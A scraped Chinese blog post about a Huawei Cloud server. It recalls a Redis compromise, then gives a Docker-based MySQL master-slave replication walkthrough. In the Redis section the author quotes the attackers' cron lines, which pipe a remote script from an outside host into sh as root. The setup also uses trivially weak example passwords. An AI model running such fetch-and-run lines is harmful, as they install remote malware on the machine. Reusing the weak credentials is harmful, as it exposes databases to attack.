当前位置: 首页 > news >正文

需要做网站的行业wap游戏天下网游

需要做网站的行业,wap游戏天下网游,如何推广外贸网站,山东省住房城乡建设厅前言 最近华为云云耀云服务器L实例上新#xff0c;也搞了一台来玩#xff0c;期间遇到过MySQL数据库被攻击的情况#xff0c;数据丢失#xff0c;还好我有几份备份#xff0c;没有造成太大的损失#xff1b;后来有发现Redis数据库被攻击的情况#xff0c;加入了redis密… 前言 最近华为云云耀云服务器L实例上新也搞了一台来玩期间遇到过MySQL数据库被攻击的情况数据丢失还好我有几份备份没有造成太大的损失后来有发现Redis数据库被攻击的情况加入了redis密码初步解决问题。总之就是各种遭受毒打。。。 本篇博客回顾Redis的未授权访问漏洞介绍MySQL主从集群的搭建以及相关的配置 其他相关的华为云云耀云服务器L实例评测文章列表如下 初始化配置SSH连接 安装MySQL的docker镜像 安装redis以及主从搭建 7.2版本redis.conf配置文件 安装Java8环境 配置环境变量 spring项目部署 【!】存在问题未解决 部署spring项目端口开放问题的解决 服务器项目环境搭建MySQLRedisMinio…指南 由于自己原因导致MySQL数据库被攻击 MySQL的binlog日志文件的理解 拉取创建canal镜像配置相关参数 搭建canal连接MySQL数据库 spring项目应用canal初步 认识redis未授权访问漏洞 漏洞的部分复现 设置连接密码 redis其他命令学习 文章目录 前言引出一、redis数据安全的问题1.之前被攻击留下的痕迹2.攻击命令的解读 二、MySQL主从本地搭建1.挂载启动主MySQL2.修改主的配置文件3.在主MySQL中创建slave用户4.挂载启动从MySQL5.在从salve中建立主从关系6.在从slave中查看主从状态 三、在华为云上搭建主从1.准备主从文件夹上传配置文件2.开放响应的端口3.挂载启动运行主master4.在主master中建立从slave用户5.挂载自动从slave6.在slave中建立主从关系 四、一些问题及其解决1.从数据不同步的解决2.限制从的权限创建一个只读的从用户附件my.cnf配置文件 总结 引出 1.redis数据安全的简单回顾 2.MySQL主从搭建的流程和注意事项 3.主从不同步的剞劂以及只读权限的设置 一、redis数据安全的问题 1.之前被攻击留下的痕迹 */2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh */3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh */4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh */5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh2.攻击命令的解读 root wget -q -O- 是一个有效的命令。它使用wget命令来下载一个文件并将其输出到标准输出stdout。 root 表示以 root 用户身份执行该命令。wget 是一个用于从网络上下载文件的命令行工具。-q 选项表示静默模式即不显示下载进度和其他信息。-O- 选项表示将下载的文件输出到标准输出stdout。 这个命令通常用于下载文件并将其传递给其他命令进行处理或者将文件内容重定向到其他地方进行保存或处理。 root curl -fsSL 是一个有效的命令。它使用curl命令来从指定的URL下载文件并将其输出到标准输出stdout。 root 表示以 root 用户身份执行该命令。curl 是一个用于从网络上获取数据的命令行工具。-fsSL 是一些选项具体含义如下 -f 选项表示在下载文件时如果服务器返回错误状态码不显示错误信息。-s 选项表示静默模式即不显示进度和其他信息。-S 选项表示在发生错误时显示错误信息。-L 选项表示跟随重定向即如果服务器返回重定向响应自动跳转到新的URL。 这个命令通常用于下载文件并将其传递给其他命令进行处理或者将文件内容重定向到其他地方进行保存或处理。 二、MySQL主从本地搭建 由于MySQL主从的搭建相比Redis主从搭建还是要复杂很多的之前几次尝试都失败最后终于搭建成功因此先介绍如何在本地虚拟机中搭建主从。 1.挂载启动主MySQL docker run -i以交互模式运行容器-t为容器重新分配一个伪输入终端—name :容器名称—privileged: 设置容器公开权限默认为true-p :映射端口 linux端口: 容器内置端口(mysql默认端口为3306)-v : linux挂载文件夹/文件和容器内路径的映射-e: 容器的环境变量设置mysql默认用户名密码)-d: 后台运行容器并返回容器ID docker run -it \ --name mysql_3316 \ --privileged \ -p 3316:3306 \ -v /usr/local/software/mysql/3316/conf/my.cnf:/etc/mysql/my.cnf \ -v /usr/local/software/mysql/3316/data:/var/lib/mysql \ -v /usr/local/software/mysql/3316/mysql-files:/var/lib/mysql-files \ -e MYSQL_ROOT_PASSWORD123 \ -d mysqlmysql日志文件容器中的位置 mysql的主的状态binlog日志文件名以及位置 主从搭建的前提条件binlog日志文件开启MySQL8以上默认开启 mysql show variables like log_%; -------------------------------------------------------------------------------- | Variable_name | Value | -------------------------------------------------------------------------------- | log_bin | ON | | log_bin_basename | /var/lib/mysql/binlog | | log_bin_index | /var/lib/mysql/binlog.index | | log_bin_trust_function_creators | OFF | | log_bin_use_v1_row_events | OFF | | log_error | stderr | | log_error_services | log_filter_internal; log_sink_internal | | log_error_suppression_list | | | log_error_verbosity | 2 | | log_output | FILE | | log_queries_not_using_indexes | OFF | | log_raw | OFF | | log_replica_updates | ON | | log_slave_updates | ON | | log_slow_admin_statements | OFF | | log_slow_extra | OFF | | log_slow_replica_statements | OFF | | log_slow_slave_statements | OFF | | log_statements_unsafe_for_binlog | ON | | log_throttle_queries_not_using_indexes | 0 | | log_timestamps | UTC | -------------------------------------------------------------------------------- 21 rows in set (0.00 sec)mysql 在Navicat中也可以看 2.修改主的配置文件 server_id200 log_binmysql-bin binlog_formatrow主要的配置项如下所示 [mysqld]pid-file /var/run/mysqld/mysqld.pid socket /var/run/mysqld/mysqld.sock datadir /var/lib/mysqlsecure-file-priv NULL default-authentication-pluginmysql_native_password# customer config here !includedir /etc/mysql/conf.d/server_id 200检验挂载启动的配置是否生效 mysql show master status; ---------------------------------------------------------------------------- | File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set | ---------------------------------------------------------------------------- | binlog.000002 | 157 | | | | ---------------------------------------------------------------------------- 1 row in set (0.00 sec)mysql show variables like server_id; ---------------------- | Variable_name | Value | ---------------------- | server_id | 200 | ---------------------- 1 row in set (0.00 sec) 再修改一下binlog日志文件的文件名 server_id 209 log_binmysql-bin binlog-formatrow说明挂载启动成功 mysql show master status; ------------------------------------------------------------------------------- | File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set | ------------------------------------------------------------------------------- | mysql-bin.000001 | 157 | | | | ------------------------------------------------------------------------------- 1 row in set (0.00 sec)mysql show variables like server_id; ---------------------- | Variable_name | Value | ---------------------- | server_id | 209 | ---------------------- 1 row in set (0.01 sec) -- 1.创建从用户slave CREATE USER slave% IDENTIFIED WITH mysql_native_password by 567;-- 2.给用户授权 GRANT replication slave,replication client ON *.* TO slave%;-- 3.应用权限 FLUSH PRIVILEGES;3.在主MySQL中创建slave用户 创建一个slave用户 新增从用户的加密方式 后面配置从需要的参数 该部分全部操作 4.挂载启动从MySQL 从的配置文件 server_id 211 log_binmysql-slave01-bin relay_logpet-relay-bin read_only1docker run -it \ --name mysql_3320 \ --privileged \ -p 3320:3306 \ -v /usr/local/software/mysql/3320/conf/my.cnf:/etc/mysql/my.cnf \ -v /usr/local/software/mysql/3320/data:/var/lib/mysql \ -v /usr/local/software/mysql/3320/mysql-files:/var/lib/mysql-files \ -e MYSQL_ROOT_PASSWORD123 \ -d mysql开放端口 firewall-cmd --zonepublic --add-port3320/tcp --permanentfirewall-cmd --reloadfirewall-cmd --zonepublic --list-ports5.在从salve中建立主从关系 主的内部端口号 [rootlocalhost ~]# docker inspect mysql_3316 | grep IPASecondaryIPAddresses: null,IPAddress: 172.17.0.3,IPAMConfig: null,IPAddress: 172.17.0.3, [rootlocalhost ~]# 主的bin-log相关配置 change master to master_host172.17.0.3, master_userslave,master_password567, MASTER_LOG_FILEmysql-bin.000001, MASTER_LOG_POS856进行参数的配置 6.在从slave中查看主从状态 mysql change master to master_host172.17.0.3,- master_userslave,master_password567,- MASTER_LOG_FILEmysql-bin.000001,- MASTER_LOG_POS856; Query OK, 0 rows affected, 8 warnings (0.02 sec)mysql start slave; Query OK, 0 rows affected, 1 warning (0.01 sec)mysql show slave status \G; *************************** 1. row ***************************Slave_IO_State: Waiting for source to send eventMaster_Host: 172.17.0.3Master_User: slaveMaster_Port: 3306Connect_Retry: 60Master_Log_File: mysql-bin.000001Read_Master_Log_Pos: 856Relay_Log_File: eafddc4554f6-relay-bin.000002Relay_Log_Pos: 326Relay_Master_Log_File: mysql-bin.000001Slave_IO_Running: YesSlave_SQL_Running: Yes 三、在华为云上搭建主从 1.准备主从文件夹上传配置文件 上传附件中配置文件到conf文件夹 2.开放响应的端口 firewall-cmd --zonepublic --add-port3316/tcp --permanent firewall-cmd --reload firewall-cmd --zonepublic --list-ports3.挂载启动运行主master 挂载启动的命令 docker run -it \ --name mysql_3316 \ --privileged \ -p 3316:3306 \ -v /usr/local/software/mysql1/3316/conf/my.cnf:/etc/mysql/my.cnf \ -v /usr/local/software/mysql1/3316/data:/var/lib/mysql \ -v /usr/local/software/mysql1/3316/mysql-files:/var/lib/mysql-files \ -e MYSQL_ROOT_PASSWORD123 \ -d mysql确认一下binlog是否开启 在my.cnf配置文件中增加配置 4.在主master中建立从slave用户 CREATE USER slave% IDENTIFIED WITH mysql_native_password by 567; GRANT replication slave,replication client ON *.* TO slave%; FLUSH PRIVILEGES;5.挂载自动从slave docker run -it \ --name mysql_3320 \ --privileged \ -p 3320:3306 \ -v /usr/local/software/mysql1/3320/conf/my.cnf:/etc/mysql/my.cnf \ -v /usr/local/software/mysql1/3320/data:/var/lib/mysql \ -v /usr/local/software/mysql1/3320/mysql-files:/var/lib/mysql-files \ -e MYSQL_ROOT_PASSWORD123 \ -d mysql开放一下端口 6.在slave中建立主从关系 获得主的内部ip地址 roothcss-ecs-52b8:~# docker inspect mysql_3316 | grep IPASecondaryIPAddresses: null,IPAddress: 172.17.0.3,IPAMConfig: null,IPAddress: 172.17.0.3,获得主的相关参数 show variables like log_%; show master status; show variables like server_id;建立主从关系 change master to master_host172.17.0.3, master_userslave,master_password567, MASTER_LOG_FILEmysql-bin.000001, MASTER_LOG_POS841记得启动从slave 四、一些问题及其解决 1.从数据不同步的解决 -- 如果主从同步失效在不能使用的从输入命令 STOP slave; RESET slave; START slave;2.限制从的权限创建一个只读的从用户 CREATE USER rdb% IDENTIFIED WITH mysql_native_password by 123; GRANT SELECT ON *.* TO rdb%; FLUSH PRIVILEGES;创建只允许读的rdb用户 在Navicat中用rdb只读用户登陆操作命令被拒绝 附件my.cnf配置文件 # For advice on how to change settings please see # http://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html# # Remove leading # and set to the amount of RAM for the most important data # cache in MySQL. Start at 70% of total RAM for dedicated server, else 10%. # innodb_buffer_pool_size 128M # # Remove leading # to turn on a very important data integrity option: logging # changes to the binary log between backups. # log_bin # # Remove leading # to set options mainly useful for reporting servers. # The server defaults are faster for transactions and fast SELECTs. # Adjust sizes as needed, experiment to find the optimal values. # join_buffer_size 128M # sort_buffer_size 2M # read_rnd_buffer_size 2M# Remove leading # to revert to previous value for default_authentication_plugin, # this will increase compatibility with older clients. For background, see: # https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html#sysvar_default_authentication_plugin # default-authentication-pluginmysql_native_password# skip-host-cache # skip-name-resolve# socket/var/run/mysqld/mysqld.sock # secure-file-priv/var/lib/mysql-files # usermysql[mysqld]pid-file /var/run/mysqld/mysqld.pid socket /var/run/mysqld/mysqld.sock datadir /var/lib/mysqlsecure-file-priv NULL default-authentication-pluginmysql_native_password# customer config here !includedir /etc/mysql/conf.d/server_id 200总结 1.redis数据安全的简单回顾 2.MySQL主从搭建的流程和注意事项 3.主从不同步的剞劂以及只读权限的设置
http://www.hkea.cn/news/14493604/

相关文章:

  • 建设网站案例小程序应用开发
  • 网站建设报价单及项目收费明细表招标网下载
  • 深圳市年检在哪个网站做上海网站邮箱制作
  • 天水市建设银行官方网站买业务送网站
  • wordpress-5.6.20seo推广策略
  • 青岛建站开发建设多语种网站
  • 做catalog的免费网站网站建设做网站
  • 东莞建网站平台东莞开发公司网站建设
  • 南京网络公司网站重庆建站网站建设平台
  • 做动态在网站需要学什么软件界面设计用什么软件
  • 西安免费建网站设计装修设计公司属于什么行业
  • 新余专业的企业网站建设公司新媒体运营岗位职责和任职要求
  • 传统纸媒公司网站建设需求电子商务网站建设目标
  • seo网络优化教程seo网站怎么做
  • 建设网站需要体现的流程有哪些个人网站备案技巧
  • 做微信的网站叫什么谷歌搜索引擎下载安装
  • 网站建设运营工作业绩项目管理是做什么
  • 高端网站制作价格ui培训机构排名
  • 专题网站搭建wordpress推广升级vip
  • 网站icon怎么设置泰通建设集团网站
  • 企业网站运营问题ampserv安装wordpress
  • 网站建设掌握技能单位网站制作
  • iis 建设网站seo诊断报告怎么写
  • 自动建设网站系统广州有哪些做网站专业的公司
  • 安徽省省博物馆网站建设做衣服视频有些什么网站
  • 广东广东深圳网站建设网页特效经典300例
  • 重庆网站搭建无忧网
  • 建筑设计方案网站做一下网站需要什么时候开始
  • 网站开发如何报价安徽网站制作公司
  • 香河住房与建设局网站山东省建设安全监督站的网站